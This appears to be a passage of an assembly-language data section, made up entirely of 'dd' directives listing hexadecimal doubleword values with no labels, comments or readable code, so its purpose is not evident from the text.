		dd 0B822FF29h, 2015B04h
		dd 0FF0AE509h, 0FF0654C6h, 1301D331h, 1A030Bh, 0C6FF0003h
		dd 3003478h, 549h, 2BC5FF03h, 0F00004Bh, 34B12h, 32DC5FFh
		dd 0C20F00h, 3CE4D1FFh,	55B1Eh,	0FF10C5FFh, 62F2C0Ah, 0ECDEFFh
		dd 506F0h, 78E1C5FFh, 0F00030Dh, 34B12h, 8030424h, 660F5728h
		dd 0FF2D22FFh, 1E3CE4D1h, 378284Dh, 0FFA1F706h,	38FFAD29h
		dd 55239h, 0A1A2064Dh, 96D29FFh, 5700050Eh, 2511E3Ch, 1029F01h
		dd 50E0307h, 0FF0AE500h, 1F04C6h, 7A18000Bh, 38FF8601h
		dd 32000545h, 2EC6FF0Ah, 511E330Bh, 29F0102h, 0E030701h
		dd 0AE50005h, 1F04C6FFh, 18000B00h, 0FF86017Ah,	54538h
		dd 0C6FF0A32h, 1E330B2Eh, 9F010251h, 3070102h, 0E500050Eh
		dd 3C6FF0Ah, 23A60103h,	0FF010204h, 1D144BD2h, 1538FF06h
		dd 0A9ACEFFh, 0D16906h,	511E330Bh, 29F0102h, 0E030701h
		dd 0AE50005h, 303C6FFh,	423A601h, 0D2FF0102h, 61D144Bh
		dd 0FF1538FFh, 60A9ACEh, 0B00D126h, 2511E33h, 60127h, 4F00050Eh
		dd 0D010F00h, 8012702h,	0D6D9FF21h, 1F0001h, 6012737h
		dd 82012702h, 1270204h,	68152B82h, 2040005h, 5C080127h
		dd 92F29FFh, 7A038FFh, 88FF8509h, 80130B09h, 0A632FF0Bh
		dd 0D6D9FF25h, 0BAC6FF01h, 4138FF01h, 5B1E0005h, 34B120Ah
		dd 3041700h, 0BD40E15h,	0FF000313h, 8005BC4h, 8DFF0842h
		dd 31420E29h, 80B6206h,	0DAFF0117h, 0FF0A43F5h,	1414D309h
		dd 30D030Dh, 30669D8h, 5686D0Eh, 0C5FF2300h, 130B5DDAh
		dd 3FC4FF0Ah, 303000Bh,	30Dh, 4030482h,	3392B03h, 0E7C6FF23h
		dd 34121D03h, 3AFF0304h, 9BC6FF59h, 0FF12021Dh,	3EA30h
		dd 1CB41F46h, 5F29FF2Bh, 26202600h, 2538FF39h, 23FF090Fh
		dd 0FF5309D2h, 1003494h, 4733FF19h, 52152B23h, 23FF0005h
		dd 0A45309D2h, 16EC4FFh, 87100304h, 620D1E04h, 100414B5h
		dd 30B0D87h, 0FF4C001Dh, 2301D23Ah, 5688E2Bh, 87095E00h
		dd 0FFC8C5FFh, 130B0FCEh, 2EC6FF0Ah, 234D0403h,	1111C5FFh
		dd 0FF00032Ch, 1A9C73C6h, 20FF000Bh, 56C809D2h,	6DC6FF37h
		dd 603069Ch, 60E1003h, 0FCEFF08h, 417080Bh, 0E100B00h
		dd 0CEFFF6C8h, 0B130B0Fh, 2E511E33h, 121C0100h,	1025A01h
		dd 65011225h, 28FF000Eh, 1020E29h, 35AE4F25h, 0FF2C09FFh
		dd 16D2DC5h, 5A016D1Ch,	6D250102h, 0FF3B6501h, 2042529h
		dd 1122501h, 0FF0E4F25h, 29FFBB69h, 0EA010225h,	25010204h
		dd 0C025016Dh, 100600Dh, 1020D14h, 492FF61h, 0E100E03h
		dd 0BC011500h, 0C6E020Ah, 2070102h, 0D04F2501h,	74D138FFh
		dd 8010005h, 1011521h, 0CFFF4C09h, 0D2FF2511h, 1DABFFC4h
		dd 3040100h, 5988FF0Eh,	1120001h, 2501025Ah, 0E650112h
		dd 661C0100h, 1025A01h,	65016625h, 2529FF3Bh, 25010204h
		dd 4F250112h, 0BB69FF0Eh, 3B650103h, 42529FFh, 2000E03h
		dd 1122501h, 30EC025h, 0E100Eh,	0C4FF6E0Ah, 3040114h, 102009Bh
		dd 9B94FF25h, 0C5FFFF00h, 8601001Ah, 0E0007h, 51DD2FFh
		dd 21080100h, 0FF1C015Ch, 98C4D2h, 0B6090101h, 1AC4FF0Ah
		dd 1000Bh, 25A0112h, 1122501h, 0FF000E65h, 20E2928h, 0AE4F2501h
		dd 0CEFF40FFh, 63020B0Fh, 7588FF08h, 1480001h, 1020D14h
		dd 40014825h, 2529FF3Bh, 25010204h, 4F250112h, 0BB69FF0Eh
		dd 22529FFh, 204EA01h, 1482501h, 0E0E0904h, 1020E4Fh, 6101025Ah
		dd 30492FFh, 0E100Eh, 0ABC0115h, 20C6E02h, 1020701h, 0FFD04F25h
		dd 574D138h, 21080100h,	0FF230176h, 2511CFC4h, 3C190E61h
		dd 8C004D1Eh, 0FF100403h, 390E16D1h, 3044712h, 0C6FF1DB9h
		dd 0AEE9033Fh, 2BFF94FFh, 0E03042Dh, 4000E09h, 0AE5004Dh
		dd 2007C6FFh, 2C33FF43h, 0FF572808h, 0D033FC6h,	3C37660Eh
		dd 0A6C1FF1Eh, 29FF1404h, 20FF0B16h, 0E09D2h, 0B5A602FFh
		dd 1403040Eh, 21FF1004h, 881004A4h, 3CA40B40h, 8C004D1Eh
		dd 0FF100403h, 0FF3816D1h, 3045E29h, 0AC69FF04h, 0D1FF1004h
		dd 880E3816h, 0A421FF10h, 29FF1404h, 3060306h, 0C03040Ch
		dd 0B61C5FFh, 14041708h, 106529FFh, 4A421FFh, 0E5B1E33h
		dd 450E0304h, 0F03950Fh, 0FF384003h, 0AB082229h, 2DC1FF45h
		dd 4030D14h, 16C1FF10h,	42521FFh, 41E0403h, 0C00E0E09h
		dd 0E3C6FF1Dh, 0FF3B4003h, 3042521h, 403000Eh, 0E09041Eh
		dd 3D00600Dh, 102521FFh, 6E0A000Eh, 171C4FFh, 1ABF4508h
		dd 0FF000600h, 0FF002521h, 28005F01h, 4B122957h, 0C5FF0003h
		dd 4D1E332Dh, 0FF0E1404h, 403A62Ah, 16D1FF10h, 5E29FF38h
		dd 9C000304h, 0CEFF854Fh, 2C33FFFEh, 30E0304h, 0AC69FF04h
		dd 8C004D1Eh, 0FF100403h, 0FF3816D1h, 3045E29h,	4B85E9h
		dd 0E784F9Ch, 0FF000304h, 3C0E218Dh, 2C0E701Eh,	5B04000Eh
		dd 5DC5FF00h, 817080Bh,	4B120224h, 0A200003h, 34B12h, 32030424h
		dd 22FF0A33h, 30C2FB8h,	50E098Fh, 0FF0A3200h, 0D31BCC4h
		dd 30D0303h, 88262900h,	0FFD0260Eh, 23033538h, 0E3C6FFh
		dd 0D2DEFFCBh, 304032Ch, 0D9FF2B23h, 90F085Ch, 9FF2B43h
		dd 3100005Fh, 5688E2Bh,	0D23BFF00h, 0C5FF8709h,	23001DFAh
		dd 5688E2Bh, 3511E00h, 3002001Ah, 0FF009B25h, 1AC5FFh
		dd 1FA630h, 0B6FC5FFh, 24081708h, 34B1202h, 120A2000h
		dd 2400034Bh, 33320304h, 0B822FF0Ah, 3070C2Fh, 50E098Fh
		dd 0FF0A3200h, 1D2EC4h,	0D035430h, 82000003h, 3040304h
		dd 3002392Bh, 1D090119h, 0E9C6FFh, 56C5FF01h, 3041301h
		dd 2B2A0304h, 0D5CD9FFh, 1C193002h, 5F09FFh, 1C190100h
		dd 300A0001h, 2530025Ah, 0EA300265h, 25300204h,	30024001h
		dd 253C723h, 30026530h,	31214F23h, 1421C30h, 0CC0D0C04h
		dd 30025A25h, 9020ABCh,	70C08h,	0FF000601h, 0FF005F01h
		dd 0FF2A470Bh, 1813BDC5h, 0FF013087h, 54138h, 86C4FF01h
		dd 0FF9188FFh, 300220C6h, 2530025Ah, 0EA300265h, 25300204h
		dd 30024001h, 30020423h, 265D2FFh, 204EA30h, 1252530h
		dd 5A25CC0Dh, 46613002h, 0D2FF3002h, 61300265h,	0AAC6FF1Dh
		dd 18010102h, 0FF007E17h, 2A01D33Bh, 5688E2Bh, 0C1FF1E00h
		dd 50E0947h, 50000h, 1E3C001Ah,	50E70h,	920094Dh, 300050Eh
		dd 971D4D04h, 50020h, 4766FFh, 98F0906h, 2800050Eh, 0FF092957h
		dd 304A628h, 5002052h, 0D1FF8800h, 0E4D1FFADh, 0FF701E3Ch
		dd 0E09D239h, 0AE50900h, 203CC6FFh, 1E190E09h, 88FF03DCh
		dd 11C30D1h, 0FF000100h, 25AC2C1h, 3E02043Eh, 0EA300240h
		dd 43E0204h, 1D036564h,	2E2C6FFh, 3002403Eh, 0FF214F23h
		dd 1DAD1h, 25A630FFh, 5A250F02h, 0ABC3002h, 80D0902h, 3EC588FFh
		dd 0C2C5FF00h, 20D1401h, 3E02043Eh, 973E0240h, 25A63BFFh
		dd 1D034001h, 2E2C6FFh,	3E02403Eh, 0F21D109h, 30FF0001h
		dd 3E0225A6h, 143E0204h, 323E020Dh, 0D09020Ah, 9B0304h
		dd 3043E02h, 0FFFF009Bh, 3E001AC5h, 3E02070Ch, 6010006h
		dd 138FF0Bh, 0E5000552h, 37C6FF0Ah, 9073002h, 0B1F000Eh
		dd 1E330AC7h, 150BC2DCh, 1D94FFh, 0FF75070Ch, 0E092C38h
		dd 2B1D0000h, 83E0239h,	233E3B21h, 5C5FF2Ah, 0C4FF0A32h
		dd 0B70F0D3h, 6700200h,	1001F1Dh
		dd 5F29FF2Bh, 0FF2A5600h, 14C0C5h, 0F0EEC4FFh, 0FF3E3B18h
		dd 13F2E1C5h, 0DDFF201Fh, 39FF697Dh, 70C2E2Ch, 39C0FFh
		dd 35030D5Eh, 38FF0601h, 28000569h, 12FF098Ah, 38FF07A0h
		dd 55211h, 0CB210801h, 1530070h, 46C5FFh, 6CC4FFh, 88140401h
		dd 0FF2A2303h, 0FF006FC5h, 206635C4h, 3FF070Ch,	17080B39h
		dd 70020D3Eh, 4970540Ch, 3B0C0400h, 4970020Bh, 3B0C0400h
		dd 8170020Bh, 7002044Bh, 0D9FF1004h, 4A170A4h, 4BDFFF10h
		dd 0AE3BFF38h, 1401461Ch, 470020Dh, 2407002h, 0A022FF3Eh
		dd 0D3E0204h, 21087002h, 1C185FFh, 0AE32FF0Bh, 210863E8h
		dd 1C185FFh, 0C4FF631Ah, 0FF000058h, 0CEFF86C0h, 3B060A9Ah
		dd 0F8000549h, 17080B56h, 5637C5FFh, 0F069130Bh, 96FF0001h
		dd 0FF2D86FFh, 60A9ACEh, 84C5FF1Ch, 0C5FF00B3h,	0A4113BAh
		dd 0C5FF1C06h, 0A4113A8h, 0C5FF1C06h, 0A41005Eh, 5491206h
		dd 3F86FF00h, 0FF10130Bh, 21772EC1h, 17080B5Fh,	11501h
		dd 2D86FF14h, 0A9ACEFFh, 0C5FF1C06h, 2D86FF03h,	1C060A41h
		dd 0FF31C5FFh, 0A412D86h, 0C5FF1C06h, 2D86FF27h, 1C060A41h
		dd 0FFD5C5FFh, 0A412D87h, 5496D06h, 10044400h, 772EC1FFh
		dd 80B5FD3h, 0CE000017h, 9ACEFF13h, 493B060Ah, 5F430005h
		dd 0FF17080Bh, 6FDFC5h,	0B00h, 0B060Ah,	0B060A00h, 60A0000h
		dd 0A00000Bh, 49120B06h, 0B670005h, 0C1FF1013h,	6FD5772Eh
		dd 0C5FF6000h, 2D87FF17h, 0A9ACEFFh, 0B06h, 0B060Ah, 0B060A00h
		dd 60A0000h, 5496D0Bh, 6FF800h,	0C5FF461Ah, 17080B78h
		dd 7C000000h, 7C210870h, 361C0070h, 0FF2D84FFh,	60A9ACEh
		dd 54966h, 3C39FFh, 2F30FFh, 0B020B70h,	84FF0000h, 9ACEFF2Dh
		dd 493B060Ah, 0B240005h, 0C5FF1708h, 0FD10FF9Ah, 480001F0h
		dd 9ACEFF00h, 0FF1C060Ah, 41006BC5h, 0FF1C060Ah, 84FF19C5h
		dd 60A412Dh, 0FC5FF1Ch,	412D84FFh, 0FF1C060Ah, 41133DC5h
		dd 4912060Ah, 20380005h, 2EC1FF10h, 0B77FF77h, 15011708h
		dd 0FFD70001h, 0CEFF2D85h, 1C060A9Ah, 0FFE6C5FFh, 0A412D85h
		dd 0C5FF1C06h, 0FF00B394h, 41138AC5h, 0FF1C060Ah, 4113B8C5h
		dd 496D060Ah, 0BC10005h, 0C1FF1013h, 0FF68772Eh, 0C5FF2C22h
		dd 4FFF1C2Dh, 0FF2D85FFh, 60A9ACEh, 5493Bh, 2C22FF59h
		dd 0C5C1FF09h, 2C22FFh,	0A00000Bh, 0B06h, 0B060Ah, 0B060A00h
		dd 60A0000h, 549120Bh, 2211FF00h, 0FF10130Bh, 0FF772EC1h
		dd 80B2263h, 0B17h, 0B060Ah, 0B060A00h,	60A0000h, 0A00000Bh
		dd 496D0B06h, 0B240005h, 0C1FF1013h, 0DFFF772Eh, 17080B23h
		dd 0FF5C0001h, 0CEFF2D8Ah, 66060A9Ah, 0C2000549h, 0FF17080Bh
		dd 20D88C5h, 88FF0870h,	20C6FF9Dh, 0D147002h, 2047002h
		dd 70024070h, 304ED97h,	0FF004970h, 70802EC1h, 0E6FF0B3Bh
		dd 0A087002h, 0FF7D31FFh, 0A10C1538h, 0FF1D050Dh, 5E006DC5h
		dd 50DA10Ch, 0FF43FFAEh, 0FF0A2D8Ah, 28FFED09h,	53B0CADh
		dd 6CDDFF0Eh, 56938FFh,	4130100h, 88050D0Ch, 0B1171819h
		dd 0C041301h, 47050DA1h, 99A22FFh, 0FFC522FFh, 0A17000E7h
		dd 3BFF050Dh, 0FF1F1C45h, 5E2B2D8Bh, 50DA10Ch, 38FF19FDh
		dd 0DA10C15h, 0DDFF3905h, 801007Dh, 7D31FF0Ah, 18063E02h
		dd 62B3E3Bh, 8010005h, 23705921h, 41C5FF2Ah, 0FF3E3B00h
		dd 0A3283C5h, 2814C6FFh, 54A2B3Eh, 5C080100h, 0AFC4FF37h
		dd 0FF3E3B18h, 130152C5h, 0FF015318h, 14FF08C5h, 0FF37AD00h
		dd 782821C1h, 31FF2820h, 0B2Dh,	57280800h, 0EF0A0E00h
		dd 1500D7h, 0B8809h, 2BFF1F00h,	0FF2009D2h, 43002F8Ah
		dd 0C5FF2300h, 2C21FFF4h, 80FF4F0Dh, 42E002Fh, 0A4D1FF10h
		dd 98C5FF23h, 0D1FF1004h, 1D0304A4h, 9C0000h, 3EA2AFFh
		dd 3B0F1000h, 8001DD5h,	1DD559h, 1D0304h, 10000395h, 15A4D9FFh
		dd 0CEFF007Fh, 1EC8h, 155B1E3Ch, 92C8EFFh, 0B03000Eh, 2C8EFF00h
		dd 99C5FF23h, 54D0417h,	50000h,	57280005h, 52415h, 59Eh
		dd 59E00h, 59E0000h, 9E000000h,	5000005h, 0AD10FF00h, 10FF8412h
		dd 52012A9h, 8128FF00h,	0E2511E33h, 113BFF7Fh, 8128FF00h
		dd 155F090Ah, 1123FF7Fh, 0DBC4FF00h, 800001Dh, 36002F45h
		dd 3130B47h, 0FF001D00h, 2303AD28h, 64C5FFh, 84C4FF5Bh
		dd 97DD1FFh, 0CC2B232Fh, 23FF090Ah, 0C1FF09D2h,	130B47C5h
		dd 3400002h, 81C6FF1Dh,	0FF030D1Dh, 39FF0A44h, 4714062Ch
		dd 3130Bh, 47C5C1FFh, 69FF130Bh, 0A6D9FF2Fh, 10040304h
		dd 0A4D9FFh, 36DDDFFh, 39FF0340h, 0C5FF032Ch, 17080B3Ch
		dd 0FF0A44FFh, 7B042C39h, 0A6C1FFB5h, 0A7D1FF15h, 0B44DDFFh
		dd 0FFD97B00h, 671388C5h, 0C5C1FF09h, 0FF00004Bh, 40036DDDh
		dd 0A000B03h, 42C39FFh,	19FFD07Bh, 500002Ch, 21080100h
		dd 81C1169h, 45082445h,	0D91F0031h, 1116918h, 0AAD38FFh
		dd 0D223FF09h, 1116918h, 0C8938FFh, 2B2A2317h, 0CECEFF3Bh
		dd 0FF0A0005h, 7B042C39h, 0DDFF54B5h, 7B000B44h, 56854B5h
		dd 141F0100h, 0FF0C0A13h, 86FFDED2h, 4587FF4Bh,	601000Bh
		dd 69181718h, 38FF0111h, 3A9h, 8BA71187h, 0B030711h, 0FFD97B00h
		dd 80B50C5h, 0CA071117h, 303130Bh, 0FFAEC5FFh, 0FF1DAE18h
		dd 0FF0300C6h, 1911FE28h, 0B0304h, 0B0BB57Bh, 0FF2B2A00h
		dd 72005D89h, 5CECEFFh,	0C6FF0000h, 30FF7F3Ah, 25C6FF14h
		dd 0A3C6C6FFh, 0E701E33h, 0C3510400h, 94FF070Ch, 92C2AFFh
		dd 0D01000Eh, 1C191102h, 44011100h, 1DD2FF01h, 93060100h
		dd 0FF080074h, 17D88h, 0D140106h, 25251102h, 0E65h, 1000526h
		dd 0FF0A44FFh, 25112C39h, 1102060Bh, 1000BC9h, 12D07B04h
		dd 1102040Bh, 1000BC9h,	12D07B04h, 1102040Bh, 1000BC9h
		dd 0FFD07B04h, 70C2C19h, 400267Ch, 1D191102h, 7B28C6FFh
		dd 62180101h, 8DC5FF01h, 86C5FF2Ah, 37330A32h, 130BC315h
		dd 0FF150003h, 3042C8Eh, 2BFF4506h, 0A669FF2Ch,	14F67Ah
		dd 5B1E3C00h, 0BDB00h, 2C2BFF12h, 54C5FF23h, 0C5FF2300h
		dd 3130B71h, 0FF000B3Dh, 0FF03ADD1h, 130B28C5h,	60001F03h
		dd 0FF2F0003h, 28FFE1C5h, 2300002Ch, 2B232323h,	2800057Dh
		dd 2F0000BFh, 4508031Ah, 24039524h, 3779703h, 35E123Fh
		dd 92120F08h, 123F0304h, 24A631FFh, 23FF0036h, 3624A6h
		dd 0FF81034Bh, 8DFFC603h, 232F09D2h, 0FF3FC5FFh, 2F090042h
		dd 0FF38C5FFh, 0FF2B2C28h, 4D005D89h, 0C5FF2378h, 3130B69h
		dd 1D000526h, 909C6FFh,	1F47D1FFh, 0B938FF0Bh, 0FF0F0903h
		dd 0F098D38h, 3C8938FFh, 8C004D1Eh, 931F0E03h, 6BC5FFh
		dd 0BB0B0E10h, 95000304h, 38FF9603h, 0FF931F47h, 0AC3AC5h
		dd 0D1FF10CFh, 950003A5h, 38FF9603h, 0FF931F47h, 4AC5C5h
		dd 4BB0B20h, 28510003h,	3F001D78h, 0F7FF4C76h, 43D002Fh
		dd 0E920005h, 2A821FFh,	1FE11C16h, 504B4h, 289170Eh, 0B41F7916h
		dd 9D000504h, 0A2C2AFFh, 16028909h, 0B41F00E8h,	17000504h
		dd 16028917h, 0C4FF006Ah, 0A080060h, 0FFA428FFh, 130B76C5h
		dd 0FF611602h, 0D2FFA620h, 19160265h, 1A001D1Ch, 36711602h
		dd 0A613FF00h, 56060B25h, 130B1Ah, 0CAFF4Ch, 0FF100401h
		dd 70CA021h, 130B1D9Dh,	160C7h,	0B414Ch
		dd 70C2301h, 1DFFCEFFh,	1617080Bh, 1F00019Fh, 601000Bh
		dd 0D0C5FF18h, 0A0E2B01h, 0B8E4C12h, 0FF0F2000h, 130B1DAFh
		dd 18861602h, 86D0C1FFh, 9060100h, 2138FF8Ah, 84000526h
		dd 0FFF10B00h, 0FF18D23Bh, 472D0C1h, 0FF0005h, 0FF280041h
		dd 390929D1h, 1DD2FF01h, 4122FF00h, 0D1FF2800h,	3D156E2Eh
		dd 2700000Bh, 27020401h, 27423D01h, 272F0001h, 20D1401h
		dd 2040127h, 3400127h, 26A1602h, 4B30127h, 6010005h, 12717CEh
		dd 0AB4C5FFh, 0AD10FF1Ah, 18D232FFh, 6D150124h,	0FF000504h
		dd 400E157h, 3D012702h,	6012742h, 0FF012418h, 0B913A0C5h
		dd 24180101h, 46D1501h,	0E1D30005h, 0C5FF2A00h,	4E16006Ch
		dd 2C18FFh, 1E3C582Bh, 7168B51h, 57D38FFh, 6010000h, 15130BB1h
		dd 5F031FFh, 31060100h,	4070C00h, 7110094h, 0FF071602h
		dd 16022DC1h, 8138FF07h, 6AF81FFh, 20D002Fh, 0F1C1911h
		dd 1D0B1F01h, 52415h, 10F1800h,	0C86C5FFh, 1E00AC07h, 7168B51h
		dd 57D38FFh, 6010000h, 15130BA9h, 5F031FFh, 0DB060100h
		dd 0C2E070Ch, 7160207h,	85C1358h, 6010005h, 0D2D00FFh
		dd 1C191102h, 0C5FF010Fh, 0C70B0026h, 511E330Ah, 0FF07118Bh
		dd 56D38h, 3C060100h, 1F00001Ch, 1102000Bh, 6938FF07h
		dd 8010005h, 0E9012421h, 0C5FF030Ch, 124187Dh, 526382Bh
		dd 0FF2B0100h, 5D89h, 0E00001Fh, 8010005h, 0E9012421h
		dd 0C5FF030Ch, 124187Dh, 526752Bh, 0FF2B0100h, 51005D89h
		dd 1F00h, 3D00001Fh, 5D39FF2Bh,	8BD41200h, 38FF0711h, 57Dh
		dd 0E7FF0601h, 1200900h, 0FF94FF06h, 11022DD3h,	1138FF07h
		dd 0F000526h, 0B0601h, 38FF2909h, 8F098F3Dh, 38FF2909h
		dd 52629h, 3C0538FFh, 30D5B1Eh,	0FF19C5FFh, 0D9FF2DD3h
		dd 0A62AFFAEh, 3034003h, 20FF093Fh, 30D0EA6h, 8B510403h
		dd 5000711h, 52600h, 14F0601h, 1009C2Ch, 1538FF06h, 0AE5B1E3Ch
		dd 300CAh, 69C5FFh, 0FF3B2F10h,	0D142069h, 64034003h, 7DC5FF03h
		dd 0FF1D00A3h, 0E09EAC6h, 0FF001500h, 0FF00D062h, 0FF0CF1CEh
		dd 1F008138h, 0C5FF0000h, 6938FF7Dh, 31280005h,	0FF0A3223h
		dd 9064CC6h, 0E090Eh, 74CD38FFh, 57450005h, 97DD1FFh, 0FFF1CEFFh
		dd 957C8C5h, 23F1CEFFh,	526152Bh, 8938FF00h, 1FF0C00h
		dd 74692BAFh, 1E3C0005h, 0D386FF51h, 298B1501h,	50007h
		dd 8000526h, 16CD88FFh,	1401241Ch, 2516020Dh, 11FF24F5h
		dd 140000A8h, 1600030Dh, 7D38FF07h, 1000005h, 200A306h
		dd 9A24F516h, 0C0F9C5FFh, 24F51602h, 0FF070C9Ah, 200D100h
		dd 9A24F516h, 79C5FFh, 29F1CEFFh, 7160207h, 46E02F0h, 24F51602h
		dd 5DC5FF9Ah, 55012400h, 0C5FF9A24h, 1240076h, 49A2455h
		dd 24F51602h, 40B1F9Ah,	1241929h, 0FF9A2455h, 2A4FDC5h
		dd 9A24F516h, 0FF96C5FFh, 10063C4h, 1F23h, 45C1FFh, 38FF0711h
		dd 57Dh, 27050601h, 0FF9A0300h,	9A0394C5h, 38FF070Ch, 9A0300D6h
		dd 0A412C5FFh, 0FF071102h, 1008138h, 7290206h, 54D38FFh
		dd 21FF1500h, 5C1h, 17080127h, 7110200h, 1D8538FFh, 38FF070Ch
		dd 7110285h, 1D785FFh, 7290213h, 0FF2C295Fh, 1301D18Eh
		dd 14769FFh, 228E06h, 69D2FF2Eh, 14600h, 1F00070Ch, 0C5FF000Bh
		dd 601D3h, 50005h, 51040022h, 1D6DCFFh,	7168B15h, 26000500h
		dd 10005h, 0D14010Fh, 0F5251102h, 0A811FF24h, 11000000h
		dd 7D38FF07h, 1000005h,	2D8006h, 2455010Fh, 8C5FF9Ah, 0F5110260h
		dd 70C9A24h, 0F002DF7h,	9A245501h, 0C88C5FFh, 7110207h
		dd 6E0A0048h, 0F5110204h, 0C5FF9A24h, 1102B2ECh, 0FF9A24F5h
		dd 20481C5h, 9A24F511h,	0F5110204h, 1F9A24h, 55010F19h
		dd 0C5FF9A24h, 10F000Ch, 0FF9A2455h, 2B221C5h, 22EE0716h
		dd 0C5FF1301h, 130122F6h, 32FF120Ah, 6CC1FF45h,	0FF006DABh
		dd 57938h, 11000576h, 6CC1FF72h, 4DC5FFABh, 16170801h
		dd 13010F07h, 0AA4C5FFh, 4532FF12h, 0AB6CC1FFh,	38FF00F6h
		dd 76000579h, 0FFDC0005h, 0FABh, 0FF071102h, 2300D529h
		dd 0FFDEC5FFh, 25E2DDAh, 1F0122h, 18060100h, 1D701FFh
		dd 552382Bh, 120F2800h,	0FF0AB6F1h, 2419EC4h, 0F080122h
		dd 1223909h, 89090F08h,	879C402h, 0C43988FFh, 30D011Ch
		dd 20A711D3h, 22020601h, 2BFF0601h, 120200D5h, 36AE29FFh
		dd 2D021303h, 1FF1807h,	0C5FF01D7h, 130169C5h, 20572808h
		dd 20000568h, 24120ABh,	2060122h, 0AB59072Dh, 6017FFFh
		dd 84DC1FFh, 1F0017h, 0D3FF0601h, 0EC8100DBh, 10E9001h
		dd 1FF1806h, 0C5FF01D7h, 8016818h, 0FF012217h, 1BBD8C5h
		dd 0C4FF0A13h, 18070C84h, 2B0122A8h, 9ACEFF5Eh,	22CB060Ah
		dd 201500h, 0FF180601h,	2B01D719h, 5F31FFh, 22170801h
		dd 440E1F01h, 5DC5FFh, 9422108h, 12202ECh, 6010E90h, 0D701FF18h
		dd 0B3C5FF01h, 0FF012217h, 130173C5h, 3FC4FF0Ah, 0FF01000Bh
		dd 6010E77h, 0D701FF18h, 40C5FF01h, 22170801h, 36C5FF01h
		dd 122CE2FFh, 1000048h,	1FF1806h, 382B01D7h, 1000552h
		dd 31FF2108h, 0FF0001C4h, 2301C431h, 18BEC4FFh,	1C431FFh
		dd 4218070Ch, 801BB34h,	0C6FF1D17h, 9EFF425Fh, 1E122CC2h
		dd 6010000h, 38FF4218h,	1000565h, 12392108h, 939214Bh
		dd 3C6FF1Dh, 0C4023918h, 1FF1807h, 0C5FF01D7h, 0FF1D178Bh
		dd 2BA820C6h, 100054Ah,	0D701FF18h, 7EC5FF01h, 42181301h
		dd 0A130198h, 0C1FF3733h, 0C0000E1h, 0D9C5FF07h, 0C5FF2300h
		dd 70CB0FAh, 1102135Eh,	11141C19h, 0A423C4Eh, 1CC4FFh
		dd 11020711h, 1004401h,	0D4D206h, 4E11009Bh, 1FF39FFh
		dd 11020D13h, 214B1925h, 0AD4C095Eh, 1D095E00h,	21EEC6FFh
		dd 1100000Bh, 645E1C19h, 25B6C6FFh, 2060154h, 0FF9D1911h
		dd 11022DDEh, 19110207h, 8EFF00C2h, 207112Ch, 331911h
		dd 0FF152Ah, 900005Eh, 0C5FF0139h, 0C5FF2AB2h, 0D2F6FFD5h
		dd 1801012Ch, 1D311FFh,	87DCC5FFh, 14181301h, 320C4E11h
		dd 0FF37330Ah, 0BFF3DC1h, 10C47h, 0C5FF0000h, 0FF0C0059h
		dd 0B4521h, 0B0280800h,	6030423h, 0DE2BFFh, 95032028h
		dd 0DDFF0003h, 220647A6h, 8EFF000Bh, 603042Ch, 2DDFFF68h
		dd 1FF1523h, 0B0EA2h, 0FF090614h, 14B945D9h, 1E3C0000h
		dd 0B9C5FF4Dh, 800030Dh, 3045728h, 22D1FF9Ch, 4340036h
		dd 1D423D03h, 3CF9C6FFh, 80F4D1Eh, 38C5745h, 1202031Ah
		dd 3F0304EDh, 1B1621FFh, 0A62AFF09h, 5B040303h,	1F3900h
		dd 0DF08FFh, 60304h, 0A32006Fh,	0DCC4FFh, 300530Eh, 10000ECDh
		dd 2EFD20h, 0FF030F03h,	304A022h, 574F7A08h, 757DD1FFh
		dd 5FC5FFCDh, 0F100400h, 29FF0D1Eh, 122010A7h, 20A63BFFh
		dd 10461A03h, 0FFC6D9FFh, 403AE29h, 39FF0D1Eh, 60350ACh
		dd 0FF201000h, 40068C5h, 6241B03h, 39FF1000h, 0DC0AFFA0h
		dd 0FF030400h, 1E2564C4h, 47EC1FFh, 8208809h, 6420122Dh
		dd 92D0898h, 0F0EBDDFFh, 4D1E3Ch, 31A038Ch, 0FFF1202h
		dd 31A68A6h, 207A0F08h,	0A20F0803h, 0E3C6FF1Dh,	3C0BC70Ah
		dd 0C5FF5B1Eh, 45960045h, 6DD9FFB0h, 0A2035003h, 3044FFFh
		dd 1FF3F3Fh
		dd 22D9FFA6h, 4B360036h, 304421Bh, 1B403F3Fh, 2909B109h
		dd 0B0032009h, 30E0902h, 574D1ECCh, 31A038Ch, 30E0902h
		dd 0FF123F03h, 0D1FFA623h, 10003622h, 950F4508h, 4030F03h
		dd 0F080E10h, 3045F12h,	80E1004h, 22FF090Fh, 0E100FA6h
		dd 326C6FFh, 94FF031Ah,	15BC4FFh, 0C1FF1E33h, 0E1004A6h
		dd 3B11202h, 0FF1D0902h, 80338C6h, 420E090Fh, 5B1E3CC2h
		dd 9500030Dh, 0D1FF9C03h, 6F003622h, 2EB028h, 1A03B045h
		dd 0A7D1FF10h, 3F030F03h, 0FFAE10FFh, 2FFAE18h,	120A4847h
		dd 3040358h, 93F030Fh, 55C71DF1h, 2628C6FFh, 0E4D2FF01h
		dd 4D1E3Ch, 29FF038Ch, 3F030450h, 0D1FFE609h, 0FF0B9CADh
		dd 3F031FC6h, 423D036Fh, 403031Ah, 0FF10CF10h, 8DFFA7D1h
		dd 1E330A1Eh, 0C5FF234Dh, 1A0313B8h, 0FF0AB6F7h, 4038AC4h
		dd 4030403h, 8030403h, 0FF120F28h, 0F28084Fh, 2808D312h
		dd 0CEFF120Fh, 0F28080Fh, 0C6FF1D12h, 3FF0E40h,	0D1301D2h
		dd 0C6FF0003h, 39FF0E78h, 0D1301D2h, 0C6FF0003h, 220E0916h
		dd 32C11h, 0E0CC6FFh, 0D130124h, 0B950003h, 1E330AC7h
		dd 0FF093F4Dh, 0B14A602h, 9FF090Ah, 1C152347h, 1393C5FFh
		dd 0FF16C5FFh, 3042DDCh, 0FF123F00h, 200A622h, 2221FF00h
		dd 0A0B1436h, 203046Eh,	0AE1BFF12h, 0A006F44h, 9033B14h
		dd 412239FFh, 43B3BF03h, 0C4FF140Ah, 120203A5h,	9D222FFh
		dd 0C1FF520Eh, 803042Dh, 66F090Fh, 0CA0005h, 9D220FFh
		dd 0A009820h, 0FF6FC6FFh, 362221h, 0C5FF2323h, 2DC1FF01h
		dd 12020304h, 9D222FFh,	0C1FF560Eh, 0FF23232Dh,	0C1FF29C5h
		dd 65B392Dh, 306CB03h, 0B609190Eh, 0FF00C40Ah, 0D9FF7DC1h
		dd 60A037Dh, 161B8509h,	0AB60919h, 0F4C4FFh, 2F030C53h
